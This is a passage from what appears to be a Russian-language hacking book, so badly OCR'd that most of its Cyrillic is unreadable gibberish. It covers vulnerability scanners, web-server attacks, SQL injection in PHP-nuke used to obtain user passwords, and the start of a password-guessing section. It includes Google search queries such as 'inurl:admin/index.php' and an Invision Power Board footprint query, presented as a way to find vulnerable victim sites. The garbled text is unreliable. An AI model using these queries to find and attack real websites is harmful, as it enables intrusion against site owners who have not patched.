3a HOBOCTAMM, U ceHYyac He OTKa3blBalOCb OT CBOMX cnoB. Bce HOBoe, AEHCTBU-
TEJIbHO, MOXKHO HAaWTH TaM, HO BeJb €CTb LiENbIH BOPOX CTapblX YA3BUMOCTEH, KO-
TOpble CYLIECTBOBAIH, H BO3MOXHO ellle He 3akpbiThl. Kak xe noctynutb ¢ HUMK?
Heyxxenu npuaercs kayaTbh Bce SKCIVIOWTbI M NPOBEPATh KaxKablii Ha paboTocno-
cobHocTb? Hy, koHeuHo ke, HeT. Jlna 3Toro Ucnoaw3yloTes ckaHepbl Ge3onacHo-
ctH, Haubonee pacnpocTpaHeHHbie U3 HUX: SATAIN, Internet Scanner, NetSonar,
CyberCop Scanner.

HenasHo nosBunace naxe nporpamma ot Microsoft — Microsoft Baseline
Security Analyzer (puc. 1.2), koTOpas npoBepsAET CUCTEMY Ha HAIHYHE YCTaHOB-
NIEHHBIX KPHTHYECKHMX OOHOBJICHHH, FrOBOPAT, OHa gaxke GecriatHas, 4yTo He yaM-
BuTenbHO. [locne 3amycka nporpamMMbl Ha TECTHPOBRHHE OHa MOJAKIIIOYACTCH
k cepeepy Microsoft u ckauusaer nocieHHe MOAYAU Ul TECTHPOBaHHA Ge3onac-
IIOCTH, KaK 3TO J€1al0T aHTHBHPYCHbie nporpammel. Camo ckaHUpPOBaHHC NMPOUC-
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XOIMT JOCTATOYHO ObICTpO, HO Gonbiuas 4acTh TeCTOB HaHABHO NMPOBEPAET HAH-
yie NocnegHuX 0OHOBJIEHHUI.

Puc. 1.2. Nporpamma Microsoft Baseline Security Analyzer

C TouxH 3peHuUs xakepa, nporpamMMa Microsoft Baseline Security Analyzer Gecno-
ne3Ha, NOTOMY YTO OCHOBHbBIE TECThbI NMPOBOASTCS JIOKAAbHO. A BOT C TOUKH 3peHHS
aJIMHHUCTPATOpa, MporpaMma ouyeHb YAOOHa M NMOMOXET YBHIETb OCHOBHBIE He-
A0CTaTkH 6€30MacHOCTH.

B nocnenHee Bpemsa 60JbLIyIO MOMYJAPHOCTL HabupaeT NPOAYKT POCCHHCKON KOM-
naHuur "TlosutuB TekHonomkuc" (www.ptsecurity.ru) noa Hassanuem XSpider
(puc. 1.3). OueHb kauecTBeHHas pa3paboTka, NOITOMY i COBETYIO NPUIIANETHCA K Heil.

Sl He cTaHy peKOMEHIO0BaThb IS HMCMOJb30BAHMA KaKOW-TO onpejaeneHHbIH npo-
aykt. Tloka He cyllecTByeT Takoro ckaHepa 6e3onacHocTH, B KOTopoM Gbia Gbl
Oa3a abcoNOTHO Bcex MOTEeHLHaNbHBIX yasBumocteid. [loaTtomy ckauunsaiite sce,
YTO MOMNAJETCA MOA PYKY, H TECTHPYWHTE CHUCTEMY BCEMM AOCTYMHBLIMHU NPOIrpaM-
mamu. Bo3moxkHO, 4To-TO BamM W npuroautcs. Ho obsa3atcabo oOparuTe Blinma-
HHC Ha NpoayKThl komnanuK ISS (Internet Security Systems, www.iss.net), noromy
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yto ckaHepbl 3To# ¢upMmet (Internet Scanner, Security Manager, System Scanner
u Database Scanner) ucrions3yior TpH MeToJa CKaHHPOBaHHA, O YeM Mbl NOTOBO-
puM uyTh nozxe. Corpyanuku ISS paGoraior B TecHOM koHTakTe ¢ Microsoft
M [OCTOAHHO OOHOBAIOT Oasy AaHHbIX ysasBumocreid. Ho, HecMoTpa Ha ToO, 4TO
NpOAYKTbl 3TOi (UPMBbI NyvlLHe, 1 COBETYIO HCNONb30BaTh XOTA Obl elle oaAMH
CKaHep Apyroro MpoU3BOAMTENA.,

PitE
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Puc. 1.3. 'nasroe okHO nporpammbl XSpider

Komnanusa [SS paspaborana uenbii kOMIUIEKT yTHAMT noa obwuM Ha3BaHHEM
SAFEsuite. B Hero BXoAAT He TOJILKO KOMIIOHEHTbI MpOBEPKH 6e30nacHOCTH CHC-
Te€Mbl, HO ¥ MOJAYJIH BBIABIEHHS BTOPXXEHHS W OLEHKH KOHQHUrypailyd OCHOBHBIX
cepepHbix OC.

CkaHepbl 6€30NaCHOCTH, KaK M aHTHBHUPYCHI, 3aL{UINAIOT XOPOLIO, HO TOJNILKO OT
cTapbix yasBumocTeid. JI1o6oi HOBBIH Meron B3noma He OyneT oGHapyxeH, nmoka
Bbl He oOHOBHTE nMporpaMMy. [1o3ToMy s HEe peKOMEHAYIO LIEJTHKOM H NOJHOCTBHIO
MoJlaraThCd Ha OTYETh! aBTOMATH3MPOBAHHOTO CKAHWPOBaHHWA, a nocie paboTsi
MporpamMMbl CaMOCTOSATENLHO MPOBEPUTL HaWYKUE MOCAEAHMX YS3BUMOCTEH, ONU-
caHHbIX B kKakoM-Tu6o BugTraq.
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C nomollbl0 aBTOMaTH3HPOBAHHOIO KOHTPONS O4YEeHb XOpOLIO NPOU3BOAMUTHL Nep-
BOHa4anbHYIO npoBepky, 4yTobbl yOeauThea B OTCYTCTBHH CTapbiX nancycos. Ecnu
OWHOKK HalaeHbl, TO HyXHO OOGHOBHTE yA3BUMYIO nporpammy, OC unu ciayx0y,
MM nouckartb Ha ToM ke Web-caiite www.securityfocus.com cnoco6 yctpaHeHus
ownbku. [ToutH Bcerna BMecTe ¢ onucaHHeM yA3BMMOCTH AaeTCs BaKLMHA, NMO3BO-
naoulas 3anaratbh npopexy. Bakuuny MoxkeT npeaioxurb U nporpaMMa CKaHUpo-
BaHKA, eciy B 6a3e maHHBIX eCTb pelleHHe npobneMbl 4N JAHHOrO chyyas,

[loueMy maxke nocne JIy4illero W CaMmMOro MOMHOTO CKaHUPOBAaHHA HeNb3d ObITH
yBepeHHbIM, 4TO ya3BuMocTeit Het? [loMuMo owHboK Hano npMHUMaTh BO BHUMa-
Hue ewle U dakTop KOHPpUrypauud. Ha kaxxpom cepepe MoryT ObiTb CBOM Ha-
CTPOMKH, K NnpH onpeaeseHHbIX YCIOBHAX JIErKO HaX0AUMas BPYYHYIO YA3BUMOCTD
MOXET OCTaTbCfi HE3aMETHOW 1U1s aBTOMaTHuYeckoro ckaHHpoBaHHMa. Ha ckanep
Haae#cs, a cam He rutowad. Tax 4YTo, npoaoskaiTe TECTHPOBATL CUCTEMY Ha U3-
BECTHble BaM OLIHOKH CaMOCTOATENBHO.

Kaxxabiii ckaHep 6e30nacHOCTH HCNONb3yeT CBOW CNocoObl K NMPHEMbI NOHCKA YA3-
BMMOCTeH, H €ClIM OJMH M3 HUX HHYEro He Haulen, TO APYrodl MOXET OTbICKaTb.
Cneunanuctbl no 6e3onacHoOCcTH MOOAT NpUBOANTL NpUMep ¢ kBapTHpoii. Jomyc-
THM, YTO Bbl NPHLLTHA K APYTY H NO3BOHUIH B ABEPb, HO HUKTO HE OTKpPbUT. DTO HE
3HAYMT, YTO AOMa HUKOrO HET, NPOCTO XO3MH MOI He YCbIlIaTh 3BOHOK, WX OH
He paboran. Ho ecnu no3BoHuTb no TenedoHy, KOTOpbIH NEKHUT B ITOT MOMEHT
BO3/1€ XO3MHa, TO OH BO3bMeT TpYyOky. MoxkeT ObiTh U 0OpaTHas cuTyauus, Koraa
Bbl Ha3BaHUBaeTe MO TeneoHy, HO ero He CIbIUIHO, 2 Ha 3BOHOK B [BEPb JOMO-
yaziubl OTpearupyloT.

TouHo Tak *ke NPOMUCXOAHT M NpH aBTOMaTHYECKOM CKAHHMPOBAaHHH: OHH CKaHep
MOXXET NO3BOHWTb NO Tene(oHy, a Apyrod — nocty4yut B aAepb. Onu oba xopo-
LK, HO B KOHKPETHbIX CNYYasAX NpH pa3HbIX KOHPHUrypauusx ckaHUpyeMoi Malluu-
Hbl MOTYT ObITb NOJIy4Y€Hbl pa3Hble pe3ybTaThl.

CylecTByeT Tpy METOA2 aBTOMATH4YECKOrO ONpefeleHHs YA3ZBUMOCTH: CKaHHpO-
BaHUe, 30HAHPOBaHKUE U UMHUTALMA. B nepBoM ciyyae ckaHep cobupaer uHgopma-
LHI0 O cepBepe, NpoBepseT NopTbl, 4ToObl y3HAThb, KaKHe Ha HEM YCTaHOBJEHbI
cmy>xObl, U Ha OCHOBE MX BbI2ET OTYET O NMOTeHUMaNbHbIX ownbkax. Hanpumep,
CKaHep MOXXeT NpOBEpHTb cepBep M yBHaeTb Ha 21-m nopty pabortatomuit FTP-
cepeep. [lo cTpoke npurnaweHns (ecnu oHa He H6blsia H3MEHeHa), BblAaBaeMOH npH
NOMbITKE NOXKIIOYEHHA, MOXKHO ONPEAEIIUTb €ro BEpPCHIO, KOTOpas CPpaBHUBACTCA
c Oaszoii gaHHbIX. M ecau B Gaze ecTb ya3sumocTb Ana aaHHoro FTP-cepeepa, To
1101b30BATE/IO BbIAAETCA COOTBETCTBYIOLLEE COODILEHHE.

CkaHHpOBaHHe Jalleko He CaMbli TOYHBIH MPOLIECC, NOTOMY 4YTO AaBTOMATHYECKOC
onpeaeneHue Nerko o6MaHyTh, Aa U YA3BUMOCTH MOXKeT He ObiTb. HexoTopnie 110-
I'PCUIHOCTH B ciyk6ax npoABAAIOTCA TOALKO NpH onpeaeneHHbIX acTpolkax,
1, €. TIPY YCTHIOBIIEHHLIX BAaMU napaMeTpax oinbka ne obiapymuTcs.
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[Ipy 3oHaMpOBaHHM CkaHep He oOcnenyeT mopThl, a NPOBEPSET MPOrpaMMbl Ha
HaNHYHe B HUX YA3BMMOIO KOAa. JTOT Npouecc noXxoxk Ha paGoTy aHTHBHpYCa,
KOTOpbIi NpoCcMaTpUBaeT BCe NPOrpaMmbl Ha HallHYHMe COOTBETCTBYIOLUEro Koja.
CuTyauud noxoxue, Ho Uckomble 0ObeKTbI pa3Hble. Meron Xopout, HO olHa K Ta
ke olMbka MOXET BCTpe4yaTbcs B HeCKONbKHMX nporpammax. U ecnu kox B HUX
pa3Hbli, TO ckaHep ee He 0OHapYXKHT.

Bo Bpems umuTauMu ckaHep Ge3onacHOCTH MojenupyeT aTtaku K3 cBoeil Ga3bl
nanHbIX. Hanpumep, B FTP-cepsepe Moxer BO3HMKHYTH nepenonHeHue Gydepa
Nnpu peanusauuu onpeneneHHOW koMaHabl. CkaHep He OyaeT BbIABIATb BEPCHIO
cepBepa, a nonpoOyeT BLINOMHHTb HHCTPYKUMIO. KOHeuHO Ke, 3TO npuBeaer
K 3aBMCAaHHIO, HO Bbl TOYHO OyZAere 3HaTb O HATMYHK UK OTCYTCTBHHM OLUHMOKH
Ha HeM.,

HmuTtauus — camblii zonruii, Ho HaaeXXHbI# cnocob, NOTOMY YTO eCli¥ TakKUM 00-
pa3oM yaanoch B3loMaTb kakyto-nubo ciyxby, To 1 y Xakepa 3to nonyyutcs. [lpu
ycTaHoBke HoBoro FTP-cepBepa, koTopblii elie He U3BecTeH ckaHepam OezonacHo-
cTH, oH Oynetr onpoboBaH Ha yxe H3BeCTHble oWNUOKkH Apyrux cepeepoB. OueHb
4acTO NPOrPaMMHCTBI pa3HbIX PHPM KOMYCKAIOT OHH U Te XKe OlHOKH, npy ITOM
METOAE CKaHHPOBaHHA aHANU3ATOP MOXKET He HalTH NoJoOHYIO YA3BUMOCTb TOJb-
KO NOTOMY, YTO /15 AaHHOH BepcHH HeT 3anuceii B 6a3e JaHHBIX.

Koraa nposepsere cucremy, obs3atenbHo OTK/IOYalTe ceTeBble 3kpaHbl. Eciu
GJokupoBaH gocTyn, TO ckaHep 6€30MacHOCTH He CMOXET NPOTECTHPOBATb HYX-
Hyt0 cayx6y. B 3Tom cnyuae oH coobiuT, 4To OLIMGOK HET, HO pealbHO OHH MO-
ryT ObiTb. KoHe4HO e, 3TO He KpHUTHYHble OWIMOKH, HO eCTM Xakep HaiaeT no-
TalHHOM Xon 1 oboligeT ceTeBoH 3KpaH, TO YA3BUMOCTb CTaHET ONacHOM.

Haiite ckaHepy Ge3onacHocTi Bce HeoGXoaMMble npaBa U ROCTYN K CKaHHpYeMOii
cucTeMme. Hanpumep, HekoTopbie CYHTAIOT, 4TO Hanbonee 3 dekTUBHO yaaneHHoe
CKaHHPOBAaHHe, KOr/la No CeTH MMHUTHPYETCS aTaka. JTO NpPaBHABHO, HO, CKOJIBKO
BpeMeHH NoHanobGHTCA Ha NpoBepKy CTOHKOCTH naponeil Ans yyeTHbIX 3anuceii?
OueHb MHOro! A ckaHHpOBaHHe peecTpa U (paiIOBOH CUCTEMbI CTAHET HEBO3MOXK-
HbIM. [103TOMY NOKaNbHBIM KOHTPONbL MOXKET AaTh OO/Ee KAaYEeCTBEHHbIH pe3ynbTar.,

Ilpn AUCTAHLHOHHOM CKaHHPOBAHHWM TOJIBKO NMPOH3BOAMTCA NONbITKA NPOPBATHCAH
B C€Tb. TakOH aHa/M3 MOXKET yKa3aTh Ha CTOMKOCTb 3alMThl OT HaNaAeHHA U3BHE.
Ho no cratucTuke 60JbLKMHCTBO B3/IOMOB NMPOUCXOAHT W3HYTPH, KOTAA 3aperucT-
pPUpPOBaHHbIN NOJIb30BATENb NOJHHMAET CBOU npaBa ¥ TEM CaMbIM MOJy4YaeT AOC-
TyNn K 3anpelieHHoi MH(popMauuH. Xakep TOXKE MOXET HUMETb KakKyl-HHOYAb
YYETHYIO 3aNMMCb C MUHHUMAJIbHbIM CTATYCOM H BOCHMONb30OBaThbCA YA3BHMOCTAMM
ANA nosbilleHus npas aoctyna. [loaToMy ckaHUpOBaHHWE AOHKHO NPOUCXOAHTD
M IHCTAHUMOHHO 118 OOHApY)XE€HHA NOTANHbLIX ABEPEH, H IOKANbHO 1A BbIABNECHUA
OIIUOOK B KOHPHUI'YypaLHH, C NOMOLLBIO KOTOPbIX MOXHO H3MEHHTb NPHBHIIETHH.
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ABTOMaTH4ecKHe ckaHepbl 6e30MacHOCTH NPOBEPAIOT HE TONBKO yaaaumoc*ru"OC
H ee cnyX0, HO M CINOXHOCTb Napons, ¥ UMEHa YYETHLIX 3anuceidi. B ux aHann3a-
TOpax ecTbh 6a3a Haubonee YacTO MCNONb3yEeMbIX MMEH W maponeli, U nNporpaMma
nepeGopoM npoeepser uX. EciM ynanoch npoHHKHYTb B CHCTEMY, TO BbIOARETCH
cooflleHHe © crUIIKoM rnipocTom napone. O6A3aTeNbHO 3aMeHUTe ero, NOToMy
YTO Xakep MOXET HCMOJb30BaTh TOT )K€ METOM, U JIErKo y3HaeT NnapaMmeTpbl y4er-
HOH 3anucw.

CxaHepbl 6€30naCHOCTH MOTYT MCNOJb30BaTh KaK XaKepbl, Tak U aAMHHHUCTpATO-
pol. Ho 3agaun y HuX pasHble. OfHUM HY)XHO aBTOMaTHYeCKOe BbisBlEHHE OLUIH-
6ok Ans nocnefyOWEro NPUMEHEHHs, 2 BTOPbIE KCNO/b3YIOT €ro ¢ UEbIO NOHCKa
YA3BUMOCTH C MOCHCAYIOUIUM YCTpaHEHHWEM OLIMOKH, npuuYeM >KeNaTeibHO 3TO
c/ienath paHblile, YeM HaiaeT u OyaeT UCnoNb30BaTh ee Xakep.

OwubkH, KoTOpBlEe Bbl MOXKETE HAHTH, U KOTOpble MOTYT MPWBECTH K B3JIOMY,
MOXHO pa3fie/IHTb Ha CEAYIOLIHE KATErOPHH:

O ownbku B koge nporpaMm. Takue ownOku HCnPaBRSIOTCA NPOCTbIM 06HOBE-
HHUEM;

O ownbkn koHpurypauud. B HekoTopeiX ciyuasx BnonHe Ge3obuaHble npo-
rpaMMbl MOTYT OKa3aThbCs ONAaCHbIMH MPH onpeaeieHHbIX HacTpoiikax. JlaHHble
owubKkH NpPOABNAIOTCA M3-3a HenpodecCHOHANH3IMa WIH HEBHUMATE/bHOCTH
aAMHUHHCTPATOpPOB;

O npuHyauTenbHoe noHwxkeHne 6esonacHocTH. HanpuMep, Morna GbITh BKIIOYEHA
onpeeneHHas ONuMsA, KOTOopas CHHXKaeT 6e30nmacHOCTL WAM pa3Mep KIoua
WHPpPOBAHHUA A8 TOro, YTOOLI COXPAHUTL COBMECTHMOCTb CO CTapbiMH Bep-
CHAMH nporpammsl. B gaHHOM cnyuae Heo6XoaHMO OGHOBHTB BCE NpOrpaMMBl
H OTKa3aTbCA OT HCNOb30BAaHHA CTApPbIX CUCTEM.

He Bce aBTOMaTHueckue aHann3aTopsl pasaensaroT oMbk no THNaM, HO MOHHU-
MaThb UCTOYHHK OLLHOKH KeNlaTenbHo.

1.4. Banom Web-cepBepa

[pu B3n1OMe Web-cepBepa ecTb cBOM ocobeHHOCTH. Eciin Ha HeM BLINOAHAIOTCH
CGI, PHP unn ppyrue cueHapuu, To npeaBapuTebHble MCCIEJOBAHHS, KOTOpbIE
Mbl OTIMCBbIBA/IM paHee, MOXHO OrycTHTh. MHOrna MoxxHO 0GoHTHCh KM Ge3 ckaHu-
poBaHua noptos, a BOT OC onpenenuTs earenbHo, Belb KOTAa Bbli MONYy4YHTE
BO3MOJXKHOCTb BBINONMHATL KOMAHAbI, Bbl AO/KHBI 3HAaTh, KAKHE UMEHHO KOMallgbl
MOXET BbINOJHATb CHCTEMA.

JU1a Havana HyxHO npockaHupoBath Web-cepsep Ha Hannuue ya3sumbix CGl-
cncHapueB. Jla, MMEHHO NPOCKAHMPOBATh, NOTOMY UTO €CTh HPOIPAMMBI, KOTOPhIO
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aBTOMAaTH3UPYIOT 3TOT npouecc. Bbl He nosepuTe, HO ONATH e NO UCCNEAOBaHU-
AM pa3iHYHbLIX komnaHuM, B MHTepHeTe paGoraer Gonbluoe KonxuecTso "abipa-
BbIX" CUeHapHeB. 3TO CBA3aHO C TeM, YTO NpH paspaborke Web-caliToB B HUX H3-
HadanbHO BHOCATCR owubkH. Her, He cneuvansHo. HauyKHatomue nporpaMmMucTbl
OYeHb peKO NPOBEPRIOT BXOAAULIME NapaMeTpbl B Hajexae, YTO nosb3oBarelb He
Oyner uaMeHaTb kox Web-crpanuupl unu URL, rae Web-cepeepy nepenatorcs
HeoOXonMMble JaHHbIe ANA BbINONHEHUA kakMX-nubo neiicTeuii. D10 cTasno BO3-
MOXHBIM MOTOMY, 4TO MPOrpaMMHKCTbI NOHaAEATUCh Ha Z0OpOCOBECTHOCTD Mnoce-
TUTeneH. A 3ps.

Ownbky ¢ napaMeTpamMu UMena OgHa W3 3HAMEHMUTHIX CHCTeM ynpaeneHus Web-
caiitom — PHP-nuke. XoTa B 3T0#i nporpamMMe Takue olHOKH BCTpeYaIUCh Heo-
HOKpaTHO, ofHa Hawymena Gonbue Bcero. PHP-nuke — 3to HaGop cueHapues,
No3BONIAIOLLMX CO3AaTh GOpYM, YaT WIH HOBOCTHYIO JIEHTY U ynpaBiisThb COZep-
KUMbIM Web-catira 6e3 3HaHHA nporpamMupoBaHus. J106oi nonab3oBaTesb KOM-
nbloTepa, AaXe ¢ HeOOMbLINUM ONbITOM, C MOMOLUBIO HEE CMOXET Jlerko CO3/aThb
cBoil Web-caiir.

Bce napamerpbl B CueHapuaX nepenaroTca uepe3 anpecHyl CTpoky Opaysepa,
M NpOCYET COoAepXKaAICA B napamerpe ID. PaspaboTunky npesnonarany, 4To B HeEM
Oyner nepenaBaTbCa YHCIO, HO HE NPOBEPANH 3TO. Xakep, 3HAIOWMUH CTPYKTYpY
6a3bl faHHBIX (2 ITO HE CIOXHO, NOTOMY 4TO UcXoaHble koabl PHP-nuke gocryn-
Hbl), erko Mor nomectHTh SQL-3anpoc k Ga3e gaHHbIX cepBepa B napamerp ID
M NOJly4YWTb Naponu BCEX 3aperdcTpupoBaHHbIX Ha Web-catite nonbiosatened.
KoneuHo, napoau 6yayT 3awngpoBaHbl, HO 1S pacliU(ppPOBKH He HAJO MHOrO
YCHIIHH, 3TO Mbl pacCMOTpPHUM 4yTb no3xe. Jleno B ToM, YTO ecnH nonb3oBarenek
MHOIO, TO BeJIHKa BEpOATHOCTD, YTO Y KOro-To U3 Hux 6yner cnabbiii napons.

[IpoGnema ycnoxHAETCA TeM, YTO HEKOTOpble A3bIKH, HanpuMmep, Perl, sHadanbHo
He ObuTM npeaHasHaveHbl A1 ucnonb3oBaHuA B UHtepHete. H3-3a 3TOro B HuUX
CYLIECTBYIOT OnacHble (PYHKUUH 11 MaHUNYJNUPOBAHHA CHUCTEMOH, W eClH npo-
rPaMMHCT HEOCTOPOXKHO MPHUMEHHNT HX B CBOMX MOAYNAX, TO 3/I0YMbIULTEHHHK
MOXXET BOCMOJIb30BaTbCA TakoW HeocMOTpHTeNnbHOCTbIO. Ho naxke ecnu A3bik pas-
pabarbiBancs cneunanbHo AJIA co3fanus Web-caiiToB, onacHble QyHKLHH Takoke
MOTYT MPHCYTCTBOBaTb H B HEM.

[MoTeHuHanbHO onacHble (PYHKLUHMHM €CTb NPAKTHYECKH Be3de, TONbKO B pa3HbIX
nponopuuax. EauHcTBeHHBIH Oojlee MNHM MeHee 3allMLIEHHBIA A3bIK — Java.
H naxke 3TOT A3bIK B HEeyKJIKOXKUX pyKaxX MOXET NnpeBpaTHTbca B GONbluMe BOpOTA
ansa xakepos ¢ Hagnucbio: "lobpo noxkanosarth!"

Ho camas Gonbiuas ys3BMMOCTb — HerpamoOTHbIH nporpaMmuct. M3-3a HexBaTkH
CNeLHaJMCTOB B 3TOH 06acTH NporpaMMHPOBAHHEM CTAIH 3@aHHMATLCA BCE, KOMY
He JieHb. MHOrve CaMOyuykH fa)<e He MbITalOTCs 3aayMaTbca O 6e30MmacHOCTH,
a B3/IOMLUMKAM 3TO TOJILKO Ha PyKY.
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Hrak, Balla nepBocTeneHHas 3ajaya -— 3anacTHUChb MapoOuYKON XOpPOLIMX ¢al-
ckaHepoB. Kako# nyqwe? Orser oaHosHauyHbli — BCE. Jaxe camplii nnoxo#t
CKaHep ¢ MUHHMaJIbHbIMH BO3MOXHOCTAMH MOXKET HaifTH Opelllb, 0 KOTOPOH Heus-
BECTHO Ja@Ke CaMOMY JTy4llleMy. A rjiaBHoe, YTO NO 3aKOHY NMOMIOCTH HMEHHO OHA
OKaXKeTCA NOCTYnHOH Ha cepsepe. [lToMHMO 3TOro, HyKHO moceulatb BCE TOT 3Ke
Web-caiit www.securityfocus.com, rae perynspHo BbIKJIanbIBalOTCA ONMCaHUA
YA3BUMOCTeH pa3NiMuHbIX nakeToB nporpaMmM mia Web-caiitos.

1.4.1. B3anom ¢ nomMoliLbio NTOUCKOBOMU CUCTEMDbI

OnHo# 13 caMbIX MOLLIHBIX MOUCKOBBIX cHCTEM Aensercs Google (www.google.com).
B Heil peann3oBaHO MHOrO BO3MOXHOCTEH, NO3BOJAIOIIMX cAenaTb NoUCk Gonee
TOYHbIM. JXanb, yro CONBUIMHCTBO MNONb30OBaTeNeil He OCBOHWIHN HX, @ BOT B3JIOM-
ILHKH U3YYHITH BCe (PYHKLMH, H HCTIONb3YIOT HX B CBOHMX uensx. Ha, Takyto moump
3/I0YMbILLJIEHHUKH NPOCTO He MOrNIH 00OMTH CTOPOHOH.

OnuH M3 caMbIX MPOCTbIX CNOCOOOB B3/lOMa — HaWTH C NOMOULbIO NOUCKOBOM
cHCTeMbI 3akpbiTyio Web-cTpanuuy. Hekotopele Web-caliTbl UMelOT 3acexpeyen-
Hble o0nacTH, K KOTOpbIM AOCTYN ocyllecTBaserca no napomo. Ciosa xe OTHO-
CATCA nM1aTHble pecypchl, rae 3allliTa OCHOBaHa Ha NpOBEpKe napoia npy Bxoge,
a He Ha 3allHTe Kaxaoi Web-cTpaHuubl ¥ ucnonb3oBaHKMM SSL. B takux cnyuyasx
Google npouHgekcupyeT 3anpeiteHHble Web-cTpaHuubl, 1 X MoXkHo OyaeT nipo-
CMOTpPETb, NPaBHIbLHO COCTaBHB MOUCKOBBIHA 3anpoc. lna 3Toro Bcero NHWb HaxoO
YeTKO 3HaTh, kakad HHopmauus XpaHUTCs B daiine, U Kak MOXKHO TOYHee COCTa-
BUTb CTPOKY 3anpoca.

Mouck UHAEKCUPOBaHHbLIX CeKpeToB

C nomoubio Google MOXXHO HAaTH JOCTATOYHO BaXHblE AaHHbIE, KOTOPble CKPbI-
Tbl OT NONAbL30BATENA, HO NO OWHOKE aAMHHUCTPATOpa CTaNH JOCTYNHBIMHU NS HH-
nekcupyroed MauuHbl. Ecnd Bbl He nepBblif AeHb B MHUpe HH(OPMaLMOHHBIX
TEXHONOrMi, TO YXKe HaBepHO Cnibllianyd o noxobHbIX cny4asax. OHH ¢ GonblunM
YAOBONbLCTBHEM OMMCbIBANMCH B npecce, a komnauuu Google, s aymalo, 3T0 TONb-
KO Ha pyky. Beab 3T0 nokasbiBaeT, kakas Xopoluuas y HUX NOMCKOBas CHCTeMa.

Bo Bpems noucka HyXHO npaBHIbLHO 3a4aBaTh napaMeTpbl. Hanpumep, mMoxHO
BBECTH B CTPOKY NOHCKa CNEAYIOLLYIO KOMaHAY:

Tonomoi oTweT filetype:doc

HJTH

TFogomoit orver filetype:xls

M Bui Halinere Bce nokyMeHTsl B opmate Word unu Excel, coaepauue cnosa

"I'onoBoii oTyer". BO3MOXHO, ZOKYMEHTOB 6YIET C/IHIIKOM MHOrO, NO3TOMY 38-
HPOC IPHAETCA OrpaHHYHUTb CUIbHEE, HO KTO HINET, TOT BCCrAa llaiaer,
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Mouck ysazumbix Web-cautos

HonycTiM, Bbl y3HanH, 4To B kakoi-nnbo cucreme ynpasieHns Web-caittoM nos-
BMach yA3BUMOCTb, Yro 3TO 32 cHcrema? CyllleCTBYeT MHOXECTBO MIATHbIX
¥ GecniaTHbIX rOTOBBIX NporpamMMm, HanucaHHbix Ha PHP, Perl u apyrux asbikax,
1 no3ponsloWKX co3nath Web-caiT Ge3 ocobbix ycunuil. Takne cMCTeMbl MOTYT
BK/IIOYaTh B ce0s roToBble peanu3alnd GpopyMOB, rOCTEBbIX KHHT, JIEHT HOBOCTEH
u T. a. Hanpumep, phpBB unu ikonboard, kotopbie oyeHb CHIIBHO pacnpocTpaHe-
Hbl B HHTEpHeTe, — Hauboslee nommynapHble UCNOTHEHNS (HOPYMOB.

Ecnu B kakoii-HuGynb M3 TakuX cneuuanbHbIX NporpaMm HaiaeHa KpUTHYeckas
ysa3BUMOCTb, TO Bce Web-caiiThl B HTEpHETE, HCnONb3ylOLKME ee, NOXBEPratoTCs
ONacHOCTH. BONBLIMHCTBO aAMHUHHUCTPATOPOB HE NOANUCAHbI Ha HOBOCTH U He 00-
HOBJIAIOT CLiEHApHH, NOITOMY OCTRETCH TOJbKO HaWTH HYXKHbIH Web-caliT ¥ BOC-
MONb30BaTLCA FOTOBbIM pellleHHEM I OCYLLIECTBIEHHA B3/IOMa.

Kak HaiiTn Web-caiiTbl unu ¢opyMbi, KoTOpble coaepikar ya3BuMocTb? Ouenb npo-
cto. Haue Bcero cueHapuii xxepTebl MOxcHO onpenenutb no URL. Hanpumep, xoraa
Bbl npocMatpuBaete Ha Web-calitre www.sitename.ru pasgen ¢opymMa, Hcnonb-
3yloLlero B kayectBe ABHxka Invision Power Board, To cTpoka ampeca coaepxur
http://www.sitename.ru/index.php?showforum=4. Tekcr "index.php?showforum="
Oyaer BcTpeuaTbhea Ha JoboM Web-caiite, ncnonb3ytouem ans ¢opyma Invision
Power Board. Uro6bl Haiitu Web-caiiTsl, conepxauie B URL paHHbi Tekcr,
HY>KHO BbINOMTHUTb B NOMCKOBO#M cHcTeMe Google cneayrowuii 3anpoc:
inurl:index.php?showforum

MoryT 6bITh ¥ ApYTHe NporpaMMbl, KOTOpPbIE UCTOb3YIOT 3TOT TeKCT. YTobbl OT-
BpocHTb KX, HYXKHO ellle N00aBHTh MOMCK Kakoro-HHOyab ¢dparmenTa M3 Web-
ctpaHuu. Hanpumep, no ymonuanuio BHH3Y kakaold Web-cTpatuubl popyma ectb
noanuch: "Powered by Invision Power Board(U)". KoneuHo ke, anMHHUCTpaTOp
BOJIEH M3MEHHMTb HaaNUCb, HO B OOJIBLIMHCTBE CiTydyaeB ee He TporalT. HUMeHHo
TaKOH TEKCT MOXHO n06aBHUTb B CTPOKY NOMCKAa, M TOraa pesyibTaTtoM OyayT
Tonbko Web-cTpanniubl HyxHoro Ham ¢opyma. [TonpoGyiiTe BBINOAHUTL cheayto-
LLKH 3anpoc:

Powered by Invision Power Board(U)

inurl:index.php?showforum

Bet yeuante Gonee 150 Thicau Web-caiitoB, peanU3oBaHHbIX Ha 3TOM JBHXKE.
Teneps, ecnn nossutca ysazsumocTsh B Invision Power Board, 10 Bbl nerko Haiaere
xepTBy. Jlaneko He BCe aiAMHHUCTPATOPbI YCNEIOT NHKBHAHPOBATL OLIHOKH, a He-
koTOpbie BooGlIe He BynyT WX WcnpaBiaaTh, notoMy 4ro Web-cafitbi MoryT GbITh
y>K€ NaBHO No3adbiThi H N03a0pOLIEHDE.

[TonpobyiiTe 3anaTh B noMcke inurl:admin/index.php, W Bbl HAHAETE CTONBKO
MHTEPECHOTO, YTO @K AyX 3aXBaThiBAET. TakHe CChUIKH OYEHb YACTO MCNOJL3YIOTCH
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Ans ynpasieHHs 4eM-nH60 Ha Web-caite. OnbiTHble aAMUHHCTPATOPbI 3ALUMLINGM
10T WX NapONAMH, H, KOHEYHO, GONBIIMHCTBO M3 ITHX CCHUIOK OyayT HENOCTYMHH,
HO OTKPbITblE — MOTYT MO3BOJIUTb YHHUTOXKHUTb Web-caliT nosHocTsI0.

1.5. Noa6op naponen

Tam, rae He ynanoch B3NOMaThb cepBep C MOMOLLBIO YMEHMs M 3HaHHi, Bceraa
MOXXHO BOCHMOJIb30BaThCA UYHUCTO PYCCKHM MeroaoM "cepna M monora". 910 He
3HaYMUT, YTO Cepn HYXKHO NPHUCTABJIATH K ropiay aiMHHUCTpaTopa, a MOJIOTKOM
CTy4atb no ronoee. IIpoCTo Bcerna ocraercs B 3anace TakoW METOA, kak NoaGop
napoei.

Hasaiite cHoBa obparumca k cTaTucTHke. Bece uccrenoBaTenbCke LEHTPbI TIPH-
